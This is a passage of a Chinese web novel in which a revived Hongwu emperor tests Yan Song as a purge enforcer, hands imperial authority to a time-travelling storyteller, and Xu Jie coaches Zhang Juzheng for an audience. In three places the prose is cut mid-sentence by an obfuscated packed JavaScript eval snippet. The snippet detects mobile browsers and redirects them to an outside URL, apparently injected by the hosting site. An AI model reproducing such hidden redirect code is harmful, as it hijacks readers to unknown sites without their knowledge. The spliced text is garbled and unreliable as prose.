如此抖颤片刻,严阁老终于挣扎着膝行上前,同样匍匐了下去: “徐尚书刚刚的建言,老臣句句赞同,心有戚戚焉。” “喔?” “徐尚书说,国之大计,首在用人;若无恰当人选,则一切举措,均无从谈起。徐尚书举荐良才,正是为此思虑。”严阁老叩首道:“只是,只是多年以来,朝中软熟颓靡,大臣持禄阿谀,小臣畏罪逢迎,上下一气,排挤正上;国家纪纲,早已不堪;纵有良才美质,又何以措手足?臣窃为社稷忧。” 高皇帝看向他:“你又想说什么?” 严阁老以头触地,声音铿锵: “群小哓哓,不足以惊扰圣虑,臣愿为陛下驱逐之!” 没错,在详细复盘了自己的过往历史,调□□险偏好,与高皇帝的颗粒度精细对齐之后,严阁老反思了目标生态,拉通了问题清单,终于在目标赋能之后更迭打法,寻觅到了自己正确的赛道——他可以去当黑手套呀! ——你要荐贤举能,那严嵩是拍马也比不上徐阶了;别说张居正这样可遇不可求的人物,就是等闲的人才,轻易也不会与严党这种道德地板绑定过深,大家以利而聚,委实无可托付。可是,论人才储备,他固然难以媲美徐阶;但论官场沁润之深、对大明潜规则体悟之透,难道普天之下,就有人能与他严嵩比肩了么? 纵观朝廷上下,谁的隐私他严嵩不知道?谁的老底他严嵩不清楚?谁屁股下的烂账他严嵩不曾与闻?谁干的坏事没有他严嵩的挑唆?这不是独特优势,又是什么? 不错,高皇帝要想革旧更新,但这样大的手笔,没有大明朝的真·此世界全部之恶·严阁老鼎力襄助,又怎能如臂使指,轻松自如? ——所以,看看我呀,看看我呀,陛下!陛下,老臣可以帮你料理这整个污浊肮脏的官僚体系呀,陛下! 高皇帝垂头看了一眼,语气淡漠: “为我驱逐之……咱还须得着你代劳么?” 什么“驱逐之”,不就是给官僚系统来个大清洗,一片白纸好作画么?那么问题来了,高皇帝朱洪武陛下还需要你来指导他怎么搞大清洗么?什么班门弄斧的绝世笑话! “老臣岂敢!”严嵩磕头道:“只是时殊世异,如今毕竟不是二百年前,官吏叠床架屋,衙门内外相制,朝政错综复杂,难比往昔;治大国如烹小鲜,一切手腕,总宜三思。” 是啊现在不是洪武朝了,人心变了社会风气也变了,没有那种拉开架势一砍就是几万颗人头的豪迈了;要是不顾一切,直接硬上,搞不好会击穿官僚心理防线,内外搅扰,惶惧震动,将原本就岌岌可危的政局推入深渊……在如此微妙复杂的情形下,还真只有最为精深细致的手段,才能抽丝剥茧,逐一扫除积弊……所以问题来了,现在最了解官僚体系的大臣,又能是谁呢? 高皇帝有点沉吟了。 他望向说书人:“先生以为呢?” “我不太懂。”说书人很坦诚:“但严阁老真能做到么?” “这倒也是。还是那句话,耳听为虚。”高皇帝道:“这样吧,不妨现场试上一试,看看这货色手腕如何。” 说书人:? ……等等,这也能试么?试什么? “先生有想要杀的人吗?”高皇帝客客气气道:“要有想解决的名字,不妨现在就说出来,让此人当场筹谋料理的手段,也算验一验他的能耐,是否可用。” “——诶?!” 不是陛下,你这话怎么说得跟饭店点菜现场杀鱼一样呢?杨先生,今天您是要杀个尚书还是杀个侍郎?要不剐一个巡抚尝尝味怎么样,我们这边刚到的货,新鲜得很呐! 啊,您什么也不杀?哎呀,您今天吃得可真素呀! 不不不不对,啊啊啊对的,不不不这到底对吗? 非常之罕见的,长年来以不可理喻、匪夷所思而闻名直播圈的整活主播居然呆在当场,再说不出一句话来了! 高皇帝礼让一番,眼见说书人目瞪口呆,言语不能,终于转过头去,平静开口: “那么,就让朕先试一试吧。” 严嵩膝行上前,壮胆抬起头来,屏气凝神,等待最大的考验。 ——至此,大型历史类真人推理游戏,《洪武杀》,正式开杀。 · 按照洪武杀的规则,天黑请闭眼,由玩家洪武皇帝选择要清洗的人物。 喔,这也并不难抉择;洪武皇帝甩手扔下一份奏折: “是哪个杂种建议皇帝扩修玄都观、上清观,搜刮民财的?” 严嵩俯首:“中书舍人罗龙文。” 洪武皇帝直接点名: “杀了!” 很好,现在由严阁老做出回应;身为内阁首辅,严阁老可以选择在洪武杀中实施救援,比如说辩称此人对朝政尚有重要之作用,随意清洗可能会制造不便——当然,这种救援风险非常之大,搞不好会把严阁老自己也清洗进去。 所以,严嵩的选择也很明白,他毫不犹豫,俯下身去: “此人可杀。” 不错,可行性不成问题,那么接下来就是执行方案了: “如何杀?” 这又是在考验严阁老作为黑手套的专业素养了;他必须为皇帝设计出一个稳妥、可靠,尽量不破坏现有秩序稳定的杀戮方式,保证选中者乖乖的、温顺的被清洗——这也是整个洪武杀流程中最有技术含量、最考验水平的部分,你要是换杨易来,他搞不好就只能啊吧开口,说出什么罗龙文名字里有个龙字,龙,可是帝王之征呐,足见他居心叵测, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289414|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可不杀——之类贻笑大方、狗屁不通的话来;这就是水平之间悲哀的差距,永远不可以逾越。 还好,严阁老的段位永远可靠。 “现在不能杀。”严阁老清清楚楚道:“罗龙文与盐道关系极密,每年夏、秋,都要与江南书信往来,收受盐商馈送的重礼;要是此时动手,恐怕会惊动盐商,耽搁了朝廷的盐税;可以拖到入冬时动手,指称他行止僭越,大逆不道,送入诏狱,即赐自尽。冬日河水封冻,京师与江南消息不通,可以腾出时间安稳人心,不至生变。” “这姓罗的还有僭越之举?” “回高皇帝的话,他私下截流过不少江南贡奉上来的祥瑞,物证俱在,抄家即知。” “什么祥瑞?” “白鹿、白兔一类。” 高皇帝抬眉:“就截了几只兔子?” 没错,即使以高皇帝的严察,也觉得因为手下官员截了几只兔子就贸然杀人,还是过于离谱了一点;就算蓄意报复,要不好歹整点交代得过去的罪名呢?譬如给空白文件盖印章、在科举名额上动手脚,或者贪污二十两纹银以上什么的——好吧洪武皇帝也知道世风日下今时不同往日了,他也不是不可以放宽标准,比如把剥皮线从二十两翻五倍翻到一百两之类的——但无论如何讲,这些罪过,总比偷了皇帝的兔子听起来正常吧? 严阁老再次行礼,尽力委婉: “……以现在的局势,用这个罪名,可能比较合适。” 因为区区祥瑞而给人定下重罪,听起来委实离谱到了极点;但是我们飞玄真君万寿帝君当政多年,恰恰就开过无数类似的先例,于是如斯奇葩处置,在当下反而相当之正常、相当之符合预期——反过来讲,你要是真以贪污问罪,那满朝上下,倒真是要惊怖恐慌,疑惑到不明所以了! 在被真君污染过的规则怪谈里,正常与不正常可是完全倒错的,明白么? 高皇帝:………… 高皇帝刹那无言,只能面无表情地再瞥了一眼原地打摆子的真君! ……行吧,不管罪名怎么的匪夷所思,既然家中确有实物,那总是比“龙,乃帝王之征”强多了。总体来看,这一套流程行云流水,安排妥当周到,似乎亦可令人勉强满意……高皇帝思忖片刻,又望向说书人: “先生还有别的吩咐么?” 先生还要杀个公卿什么的吗?现在很方便喔。 吃得很素的说书人坚决摇头,一言不发。高皇帝颇为遗憾,垂下眼去: “……那么,先回去把条陈拟好吧,朕明日召见张居正时,再一并细看——另外,此间底细,绝不许对外泄漏半个字,明不明白?” 闻听此言,严阁老简直不敢相信。他等候片刻,眼见高皇帝再无吩咐,才终于抖颤着站了起来,拍打衣袖,与几位同僚一起恭敬行礼;坚持倒退着出了殿门。等到一脱离高皇帝的视线,几个老头一撂下摆,迈开老腿,转身开撤,顷刻就不见了踪影! 老当益壮啊,阁老! · 等到一切人影消失,殿中寂寂一片,仅剩下的几个皇室自己人——高皇帝、哼唧的飞玄真君、战战兢兢的宫人——大家各怀心事,精神不属,没有一个开口。 不过,这种寂静终究是短暂的,因为高皇帝平静出声了。 他道: “不敢动问,先生已经亲自游历过京师市井,对于大明朝现下的情形,又是个什么见解呢?” 13.黄袍 “先生对大明朝现下的情形,到底有个什么见解呢?” 杨易愣了一愣:“陛下虽在地底,不是一直都关注着上面的情形么?” “耳听毕竟为虚。” 好吧,既然非要追问,那也不能不答了。杨易微一犹豫,还是委婉道:“……可能还是比较有——嗯——挑战性的。” 是的,虽然游历京师不过数月,但是所见所闻,已经足够触目惊心。外部疯狂涌入的流民绝不只是气候失调的偶然变故,而是附近地区行政秩序濒临崩坏的征兆;如果京师好似腹心,那么河南河北就是拱卫腹心的肺腑;如今天灾频仍,人祸不绝,数省百姓,流亡几近百万,穷极无路,迫急为盗;周遭糜烂不可胜计,而地方官心心念念,最挂怀的居然仍旧是真君苛求追比,耗费无穷的宫观工程——上恬下嬉,残民以逞,谁看了之后不说一句长叹息以掩涕? 高皇帝默然了。 默然片刻后,他喃喃道:“……那么,请先生不必避讳;似此情形,大明朝的国祚,还能够有多久?” “如此大事,恐怕就不好空口臆断了。”杨易坦诚道:“这么大的王朝,气数总不能凭一朝一夕而定论;如果真有才不世出、励志精诚,敢于担当大事的人物出面撑持,那么未尝不能挽狂澜于既倒,扶大厦之将倾;这都是看运气的事情……” 是的,虽然被飞玄真君万寿帝君折腾几十年后,到他老人家过早地离开带明人民之时,这个老大王朝四面起火,风雨飘摇,怎么看都是一副药丸的模样;但因为中央权力,尚且稳固;军队财政,还可掌握,如果真有什么猛人起而振作,不是不可以挽回局势的——而带明的运气就在于此,它居然真的在末世衰颓、万马齐喑之时,莫名其妙给自己抽了一堆的ssr金卡,虽然前有真君,后有摆宗,但靠着如此绝顶人物之不懈努力,还当真续上了几十年! 说实话,就是历史周期律亲眼见证,也要感叹一句这实在太难杀了吧? 当然,如果详细追究之后数十年之奇迹,那么相较于仁人志士前赴后继的努力,最大的决定因素恐怕还是运气,不可捉摸的运气——一说难听点,要是嘉靖朝的党争再激烈一点,不小心把萌新张居正也给搞进去了;要是浙江抗倭斗争的局势再糜烂一些,开局把戚继光也给送了;或者更要命的——要是真君的妙妙小丹药还当真管用,他居然又活蹦乱跳的霍霍了十几年——那么后续的情形,恐怕就相当之微妙了。 历史的走向如此依赖随机的运气,所以即使再来一回,杨易也打不了什么包票;只能含糊安慰,说一句“有可能”而已。 但显然,在高皇帝听来,这样的安慰就实在太苍白无力了。他微一迟疑,难得露出了一点苦笑: “先生不说,其实咱也知道。国事糜烂,罪责当然首归君上,朝政到了这个地步,反复苛责内阁,苛责官吏,其实意义也不大;上头要是不改,那纵有贤士,亦无所用之,便譬如……” 便譬如老四的好曾孙,叫门天子一般。但高皇帝说到一半,还是欲言又止——没办法,即使事情已经过了上百年,他现在想起此人,仍然觉得脑门嗡嗡的作响,委实不能保持镇定;不仅手指隐隐发痒,就连腰间皮带,仿佛都要发出战歌吟唱…… “所以。”他顿了一顿,又道:“在里头查账簿的时候,朕脾气上来,其实也想过要把这货色废掉,换个新人试试。” 飞玄真君:???!!! 饶是仍在痛楚之中,真君依旧竭力瞪大了眼睛,几乎像条鱼一样的蹦了起来! “嗷嗷,啊啊,啊啊啊!” 使不得,使不得呀老祖宗! “不过,气头之后,还是只能多想想。”高皇帝没有搭理惶恐得仿佛筛糠的真君:“毕竟是几十年的皇帝,哪里能说废就废,岂不骇人听闻;再说,就是废了皇帝,又让人来坐这个位置呢?” 朝局脆弱到了这个地步,动静稍微大点都可能散架,哪里还顶得住高皇帝从地下爬起,怒而废黜皇帝?再说,你以为近支宗室之中,还有什么合适的人物么? ——这么说吧,在而今类人群猩闪闪夺目,行为举止粗具人形的皇亲国戚里,真君绝对是可以算得上个道德表率的! “再说了,咱家也不能长久在此处滞留。要是根本问题不做解决,那么浮光掠影,偶尔管上一管,又能有什么作用呢?区区一个祖宗的名头,又能管用多久?” 洪武皇帝现世,君臣无不震恐;但如此强有力的威慑,又能持续几时?说白了,再高贵的名分也要有暴力维持,之所以高帝今日所向披靡,处置如意,恐怕都只有一半是他名分的效力,而另一半么,还要归功于说书人潜移默化的威慑……翻过来想想,如果说书人撒手离开,区区一个手无寸铁的过往“祖宗”,又能弹压到几时呢? 高皇帝移开目光,扫视这琼楼玉宇,巍峨宫殿,中土权力高处不胜寒的巅峰,沉吟彷徨,神色渐渐怅惘: “必须有人管住皇帝,必须有人负起责任,否则这个国家,恐怕就……” 对于现在的大多数人而言,亡国灭种或许只是一个遥远的幻想,仅仅用于警示的意象;但朱洪武不同,朱洪武亲眼见证过呼啦啦大厦倾颓之时,亲身体会过社稷崩摧、玉石俱焚的往日;创巨痛深,莫可释怀,因此不惜一切代价,也必须要防备这个最为恐怖的可能。 “所以,先生愿意帮咱一个忙么?” “请高皇帝指教。” “其他货色都不堪用了,咱别无他法,只能求请先生操一回心。”高皇帝清清楚楚道:“便如当日孔明扶持汉室一般,替咱暂时把皇权的大任担当起来。” “——诶?!” · 高皇帝此言一出,四面立刻就是压制不住的抽气声——不仅飞玄真君惊骇绝伦,呃呃狂叫出声,就连说书人都是瞠目结舌,不能自已,几乎本能向后退了一步—— 这是不小心进入到什么可怕幻象了么?这是系统本身逻辑崩溃搞出什么神经幺蛾子了么?他听到的这是什么?他理解到的又是什么? “接手皇权”?洪武皇帝居然会建议外人来“接手皇权”?天呐,这是个什么样匪夷所思的ooc世界观呀!这种对话就算写进同人,也绝对是堪与苦命鸳鸯媲美的绝世奇作呐! ——给我干哪儿来了,这还是大明朝么? “这也是不得已为之。”面对这异口同声的惊愕,高皇帝依旧平静:“先生见谅,咱操劳了一辈子,总也要替后世子孙思虑一二;与其让这个货色继续祸害,搞得将来殄灭无余,还不如想一想别的办法;先生帮咱看着,总要放心一些。” 是的,在高皇帝根深蒂固之小农价值顺序里,朱家本体的延续尚且还要高于朱家的皇权,何况乎区区一个从未见面、举止亦可鄙之至的飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293320|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄真君的皇权?如果舍弃权位能够保得后人平安,他大概也不会有什么犹豫;更不用说,以高皇帝电光火石的判断来看,信任现在的这一位说书人,还真未必会有什么风险! 显而易见,以说书人之神通广大,他但凡对朱家的皇位有一丝一毫的兴趣,那也绝不会东游西逛,拖到这几个月后才上宫门问罪;反过来讲,既然仙人当真无意于权位,那么将位置交托给他,就成了最可靠、最稳妥的选择——至少等人家玩腻了之后,朱家还是能平稳落地的,是不是? 如斯大事,其实下决断也只在一瞬;朱洪武顷刻间下定狠心,便再也不做任何犹豫,朗声开口,全力劝说: “如此私心,请先生体谅。再说,先生就是不看在咱的面上,也请看在大明朝亿兆生民的面上!天下已在水火之中,先生又岂可袖手旁观之?先生不出,奈苍生何?!” “诶,诶,我——” 被洪武皇帝三顾茅庐、亲自劝进什么的,是不是也实在有点魔幻过头了?这个世界,这个世界真的还正常吗? 再说了,“我——在下委实浅薄,难以担当——” 朱洪武没有说话,只是抬手一指飞玄真君,于是杨易微微一哽,千万推托之词,顷刻间消失无踪。 是啊人总是要看对比的,你要说和李二刘彻比较,那说书人也只有谦虚辞谢,说皇位至尊至贵,自己实在不配染指,多少还是得回去练练;但现在坐在皇位上的是谁?那可是我们飞玄真君、万寿帝君、忠孝帝君呐! 和飞玄真君一比,我们杨先生说话像个人,办事像个人,说过的话不会当放屁,犯了的错不会再忘记;既不磕妙妙小丹丸,更不爱折磨宫女太监;除了偶尔发一点古怪神经质,说话办事容易让人精神错乱、乱流口水之外,难道不已经是尽善尽美、无可挑剔,足以感动大明朝的一代圣主了么? 啊呀,说书人,有德呀! 既然如此有德,那么天数有变,神器更易,而归有德之人;这不正是自然之理吗?! 总之,说书人无可回话,居然目瞪口呆,直接傻在当场了: “这这这,我我我,这可——” 他应该说什么呢?他应该怎么反应呢?他倒是上过一点社交礼仪课,但请来的老师可没有教过学生们,当别人钦点你做皇帝的时候应该怎么反应呀! 唉,也许他应该立刻起身避让,说自己是在也不是谦虚,还是请诸位另寻高明;也许他应该惶恐后退,一边哭泣,一边沉痛叙述,说国家神器,岂能担当;但无论如何,高皇帝都已经决定好了;高帝直接拍了拍手: “还不快给先生更衣!” 早就得过吩咐的几个太监战栗着上前,抖开了预备好的黄布,将猝不及防的说书人罩定其中;然后搬过一把椅子,要将人摁在上面端坐—— 于是,在飞玄真君目眦欲裂,仿佛被当面ntr的屈辱目光中,说书人也只有在龙纹黄布里拼力挣扎,发出软弱而无奈的喊叫: “哎呀,哎呀,你们怎么能这样?你们真是害苦了我呀,你们真是害苦了我呀!” · 【尊敬的玩家,关键npc·洪武皇帝已向您发布长期任务:请以天下为念,暂掌大明皇权】 【是否接受任务?】 【您发布了语音:哎呀,你们真是害苦了我呀!】 【您选择了:接受】 14.叔大 当大明朝内部的最高权力激烈变动时,除了一二躬身入局,亲自见证此伟大变更的幸运儿以外,其余相干人等都在全然无知之中。高皇帝把说书人硬按在椅子上,当着众人以及仿佛吃屎的飞玄真君面前公然宣布“先生所言,如朕亲临”之时,几位身心重创的阁老才慢腾腾刚刚走出西苑的大门;出门以后,几个老头面无表情,抬头望天,干脆就在原地发起了呆。 对此情形,看门的侍卫倒也不觉得奇怪;因为伺候当今飞玄真君是非常之消耗精力的,每次召见后轮值的官员基本都要出会神缓和缓和,就仿佛社畜下班后都不敢直接回家,得先整杯满奶满糖咖啡因爆表的牛马饮料喘口气一样;人同此心,心同此理,都不是不可以理解。 不过,今天阁老们的反应的确也有些异常;他们站在原地,默然出神,彼此间居然没有一句的寒暄;不仅神色冷漠,还一站就是许久,连送上来的软椅都不看一眼;直到两三刻钟后,心腹下人气喘吁吁地赶来,伸手递过几份黑布包裹的文件,阁老们才一把接过,匆匆上车,同样是一言不发。 直到骡车碌碌驶出西苑御街,端坐的徐阶徐尚书才长长出一口气,随后抖着手拆开了包裹——虽然坏得屁股流脓,但高凤做事还是很细致的,为了构陷说书人拉下李春芳,他还专门找人去茶馆盯梢,把说书人的日常表演分门别类记录了下来,方便将来罗织证据。而这样一份事无巨细的观察档案,在当下的意义就简直不言而喻——俗话说得好,一个猴有一个栓法,连飞玄真君万寿帝君这样的角色,他们到底都能想法子给拴住了,如果而今仔细研读档案,搞不好也能找出什么妙妙功夫来呢? 总之,趁着大太监们被困在宫里哭天不应,内阁阁老反应迅速,动作强劲,一出门就让迅速让人把锦衣卫的档案给抢了过来,几人随机平分,齐心协力,争取能逆天改命,拼力找出一条生路。 不要小看我们与九族的羁绊啊,八八! 在哒哒蹄声中,徐阁老强自镇定,翻开了第一页。 喔,这应该是说书人讲《三国》的记录,因为他看到了董卓的名字: “唉,董太师与那吕丁董布之间,委实也是一对苦命鸳鸯呀。” 徐阶:? 徐阶眨了眨眼,茫然再看了一眼。 是他在宫中受太大刺激了吗?是他至今仍然身处恐怖幻境没有脱离吗?这些词怎么能组成一句话呢? 好吧,应该不是他出了幻觉;因为这一列记载后就是探子长篇大论的签字说明,赌咒发誓,再三担保;保证他既不是疯了也不是胡编,这就是——就是现场的原话! 徐阶:………… 徐阶呆滞片刻,向下又翻了几页: 【“主公,那陈宫已经押上刑场了!” “如何,他肯认错了吗?你告诉他,他要是愿意投诚,我曹孟德既往不咎,可以去看他。” “没有。陈宫不但不认错,还情愿陪那吕丁董布一起去死!”】 ——咿咿咿咿咿呀呀呀呀呀!! 徐尚书两眼突出,咯咯发声,下意识伸手抓挠,终于还是抵受不住,直溜溜从座位上滑了下来! · 因为此种种变故,徐尚书下车时腿都是晃的,以至于前来迎接的长子徐璠都吓了一跳,赶紧上前搀扶,连声询问情况——嘉靖一朝宦海险恶,政治斗争激烈到无可言语的地步;要是亲爹真的触犯了什么,徐家全家都得嚎啕了。 徐尚书并未答话;他闭目喘息片刻,才睁开眼睛: “……叔大呢?” “父亲说张学士?”徐璠小心道:“父亲忘了么,张学士今日当值,还在翰林院里料理事务呢。” 徐阶略微有点沉默。 是的,即使有当朝礼部尚书、中枢重臣的亲自庇护,带明朝的职场霸凌仍然是根深蒂固,牢不可破;任你什么天资绝世、前途似锦,进了单位都要喝前辈的洗脚水。作为初任萌新,张居正张叔大入翰林院之后,也必不能脱此魔爪——什么“当值”?实际上而今翰林院所有的事务,基本都推在张学士一个人头上;老资历们喝茶看报,全程躺平,新来的张学士便要忙着给整个衙门写报告、理流程,应付上级检查;又要忙着为真君写青词,进贺表,一人代写七八人的分量;业余时间还要忙着熟悉政务,精研经术,掌握朝廷典章制度,为将来进步做预备——哎呀,这可真是充实呢! ……当然,这也正是徐阶之所以对他屡施青目,甚至甘冒奇险,胆敢在高皇帝面前公然举荐的缘故;以现在的情形,翰林院基本也就靠着张居正一人在运转;但如此极限匹配之下,翰林院每年的考核居然还能混个“上上”——这不说明水平,什么才说明水平? 不过,才气纵横如斯,却难免又激起一点微妙的心意;徐尚书当初纳张居正于门下,固然是出于图谋未来的算计;但相处如此长久,也不能不生出怜才的真心。如今为了自己的安危,要将一手扶持的爱徒供奉到恩威莫测的高皇帝面前,心中滋味,自是复杂难言…… 唉,掌上珊瑚怜不得,偏教移作上阳花! “你去亲自将叔大请来。”他闭目片刻,终于吩咐长子:“就说我有要事告知,在书房专侯。” · 徐尚书与张居正虽然相处得亲厚,但也甚少在工作的时候打搅;张居正收到呼唤,不敢怠慢,匆匆了结手上杂务,赶至尚书府邸,被管家径直引入了书房。 入内之后,张居正却大为震动:恩师徐阶端坐上首,一动不动;听到声音后抬起头来,一张老脸却是憔悴支离,几乎看不出来血色。 “师相这是——” 徐阶抬一抬手,阻止了弟子的惊呼;他再指一指面前的座位,示意张居正坐下。 “我刚刚从宫里回来。”他缓声道:“见到了皇帝陛下。” 见到了皇帝陛下,可没有说见到几个皇帝陛下喔。 “皇帝陛下近日略有不适,一直卧病在床。” 被打得爬不都爬不动了,怎么不能算卧病在床呢? “大概是病中多思的缘故。”徐阁老面无表情:“圣上过问了国事,对过往的举止颇有悔意……” 啧啧,打成那个样子了还不后悔,那也真能算个意志坚定之至的神人了。说难听些,也就是高皇帝嫌丢脸,在打人之前先打嘴,有效遏制了鬼哭狼嚎的问题,要不然真君一路翻滚,还真不知会嚎叫出什么超越想象的话来呢。 不过,对于不知就里的萌新张学士而言,这短短一句话的信息量可就太爆表了,以至于他反应不及,居然本能啊了一声—— “飞玄真君悔悟了”——我的天,这是什么小众的汉语搭配呀! 这种搭配是合理的吗?这种世界线是可能的吗?这种进展当真是现实会存在的吗? 大概是太年轻了,毕竟有点沉不住气,张居正愕然片刻,居然壮着胆子望向徐阶,眼中明显闪出了问询的光! 师相,不是弟子不相信您老,实在是这个事情吧,委实有点超出想象—— 徐阶叹了口气:“是老夫亲眼所见。” 那就不会有假了;张居正呆滞片刻,面上终于再明显不过地显露了激动——是啊,在浑浊肮脏,绝不可阻遏的浑浊政治中挣扎如此之久,而今居然有幸见到了一点微薄曙光,那种绝望至希望的强烈反差,又如何能够压抑? “皇天后土在上,列祖列宗保佑!”他脱口而出:“朝廷的政治,终于有刷新之日了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298798|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 徐阶:………… 是啊的确是列祖列宗保佑,列祖列宗可是太肯保佑了,这保佑的力度可是太匪夷所思了! “总之。”他面无表情道:“圣上感怀在心,向我等垂问挽回局面的办法;我回说,国事如此,绝不能再因循守旧,提拔人才,应当不拘一格;因此,我向圣上举荐了你的名字。圣上很感兴趣,明日就要召见。” 张居正大吃一惊,立刻站了起来——在最高中枢有意选拔的时候,有人愿意为你特意提上一句,这情面就真是大得不可思议,堪称是再生造化,点铁成金,拔诸草芥至于青云,此生都不能少有遗忘的恩情;以至于以张居正之城府心胸,仍然愕然懵懂,一股不可自制的热流,登时涌上心头: “师相如此大恩,弟子当真——” 哎呀,徐尚书的恩情还不完呐! 徐阶摇了摇头,阻止了之后所有真诚的言辞——哪怕是在一日之前,侥幸有这样的机会能够用上自己这位得意弟子;他都一定会旁敲侧击,巧施手腕,要以一番精湛高明的演出,叫张叔大铭刻在心,感激涕零,此生此世都不能稍忘他徐阶之恩情;这才方便将来市恩图报,为自己谋求稳妥的靠山……但现在么,现在,你想在高皇帝眼皮子底下搞这种近乎结党营私的手腕,你的皮是不是有点发痒了? 他道:“别的就不必多说了;叔大,老夫既然举荐了你,如今也有几句话要嘱咐,你要听好。” 张居正束手道:“请师相指教。” “首先,陛下此次召见的用心,还是很诚恳的。”徐阶道:“所以入觐之时,言谈务要用心,不要打什么虚头滑脑的官腔;有什么就说什么,不必忌讳。” 还是那句话,你在高皇帝面前打官腔,你腚痒了? “其次,陛下悔过往事,颇为坚定;所以指出国事弊病的时候,可以尖锐一点,不要怕得罪人。” 喔,我们飞玄真君万寿帝君现在已经是残花败柳,昨日黄花啦,要揭发的可以尽管揭发,要批评的可以尽管批判;所谓有冤报冤,有仇报仇,横竖张居正不过是个刚入官场五六年的绝对萌新,就算当真掀翻了底裤,也是可以片叶不沾的。 “……最后。”徐尚书停了一停,仿佛是用了很大的力气,才终于勉强挤出末尾的一句话来:“回去再读读高皇帝的实录罢!” “诶?” 显然,纵令张叔大聪明绝顶,那想破脑袋大概也不能明白,怎么当今皇帝的一场召见还要和两百年前的实录相瓜葛上——但他也来不及细问了,因为高皇帝对于官僚的特攻还是太超模、太权威了,哪怕只是如今提到名字擦一点边,某种“私语天人”的莫大恐惧依然迅即降临至徐尚书的头脑,迅速消耗光了他拼力积攒下的一切勇气;以至于他脊椎本能发软,直溜溜向下面滑去。 张居正:? 张居正赶紧上去搀扶,徐阶则伸出手来,一把握住了他的臂膀。老头朦胧看着对面年轻而愕然的脸,心中千头万绪、萦绕纠缠,莫可描述;此时此刻,在他复杂心绪之中,唯一能够模糊想起的,居然是方才惊鸿一瞥,在档案中见到的什么“元妃省亲”的故事。 ……唉,其实仔细想想,他这尊贵的礼部尚书,中枢重臣,与那破落户贾家又有什么分别呢?不都得把明珠送到那见不得人的地方,期盼着能够争恩博宠,谋取万分之一的机会么? “叔大。”他握着弟子的手,缓缓道:“回去之后,努力加餐饭吧!” · ……不是,老师这是被圣上折磨得心力交瘁,终于开始胡言乱语了么?你说话就说话,用当年平阳公主送卫子夫的典故做什么呢? 张居正张了张嘴,到底没有发出声音来。 15.面试 按照事先拟好的章程;翌日一早,徐阁老就驱车到家中接上张居正,亲自带着他入觐西苑,接受这一场无大不大,足以决定朝政生死存亡的面试考核。 即使再如何天资绝世、胸有城府,平生首次谒见天颜,张居正心中之激动惶恐,仍然不可尽述;他毕竟身处中枢,对当今飞玄真君万寿帝君的做派大有耳闻,所以斟酌再三,特意花费了时间设计了今日上朝的穿着——喔,并不是什么真君标配之香叶冠、大道袍,张居正还没有这么逢迎不要脸,他要豁得下脸舔皇帝,也不至于现在还在翰林院沉淀了——但思来想去,仍然选了一套颇为淡雅、清新、格外有道韵格调的衣裳,悄悄的刷一下印象分。 得考虑皇帝心情嘛,不寒碜。 不过,他被徐府管家引上车后,当头却吃了一惊,徐尚书端坐对面,沉吟不语,身上却是一件暗淡、褶皱、毫不起眼的粗布衣裳,其余着布冠、无配饰,如果不是手上那把白玉笏板,真与寻常乡下老儿再无分别,哪里有当朝重臣,礼部宗伯的气度? “师相这是……” 徐尚书转过头来,露出一张疲倦支离、格外憔悴的脸;当然,这样不堪的气色,一半是昨晚受了惊吓,睡眠不佳;另一半也是徐尚书蓄意折腾出来的——你昨天刚刚受了申斥,今天就能精神饱满,斗志昂扬地去见皇帝?怎么,你要和重八哥打擂台呢? 被收拾了被呵斥了,就一定要装出一副惶恐可怜,丝毫不敢反抗的样子……这就是徐尚书熬夜加班,从太·祖实录中最新领悟到的心得。 徐尚书面色不动,只是上下看了一眼: “你换了新衣服?” “弟子……” “没事,换得很好。” 的确换得很好。从实录来看,高皇帝本人也是喜欢漂亮人物的——说到底,谁又能不喜欢呢?——年轻的漂亮士子穿几件新鲜挺括的衣裳,看起来都对眼睛格外友好,非常有助于缓和高皇帝政务之余的疲惫心情;只要这几件衣裳没有超出俸禄的规格,那么就只是好事,不是坏事。 萌新张居正依旧踌躇:“可是,师相都……” 尊师徐尚书都穿得这么简朴素净,与乡下老头相差无几;他做弟子的怎么能花枝招展?御前见面有主有次,难不成还让徐尚书成了他的陪衬不成?这多么的不合规矩! 徐阶顿了一顿: “没有关系。” 当然没有关系了,今天面对boss直聘要展示自我的,毕竟是张叔大而不是他徐阶;且以当下形势而言,他徐阶不过是萎靡支离、即将掉落的明日黄花,张叔大才是那个应该被精心呵护、重点衬托,足以寄托未来希望的蓓蕾——徐尚书人老珠黄了,就是穿着再鲜艳明媚的衣服,也不过只会被嫌弃一声粉娇你几罢了;到底还是得嫩瓜秧子一样的新人,才能可圣上的意呀。 